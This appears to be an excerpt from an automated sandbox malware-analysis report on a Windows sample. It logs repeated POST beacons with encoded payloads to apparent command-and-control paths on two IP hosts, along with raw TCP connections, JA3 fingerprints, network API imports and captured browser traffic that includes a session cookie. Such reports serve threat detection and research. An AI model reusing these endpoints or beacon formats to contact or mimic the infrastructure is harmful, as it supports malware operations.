Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 42 41 45 34 31 43 46 46 43 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CEFBAE41CFFCFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Kiru9gu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.81Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 85.28.47.31 85.28.47.31
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View

ASN Name: GES-ASRU GES-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31
Source: unknown	TCP traffic detected without corresponding DNS query: 85.28.47.31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00405000

Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Sx5Zl4sA8wn+Vv+&MD=hgoBhGpR HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /account HTTP/1.1Host: www.youtube.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=820094583&timestamp=1721781564600 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=en-GB&country=CH&edgeid=8684241135348538038&ACHANNEL=4&ABUILD=117.0.5938.132&poptin=0&devosver=10.0.19045.2006&clr=esdk&UITHEME=light&EPCON=0&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=132 HTTP/1.1Host: arc.msn.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=516=HW9VdSmEu877zNk6pR9FCcWx8Ix5dgnNCQRnPxMV_BSrTAztd4S5D7aOCjWTRHjuWQARC712WWHFAmJ9Ts7-oB1SuwAfjrk0O-MlJXRc-YHurTntCm0EC_zVHdfrpyEjM-gq6xpa0Ri-x5_CMMn6lLc0NqUTbL4nGwFPuwAP5zE
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
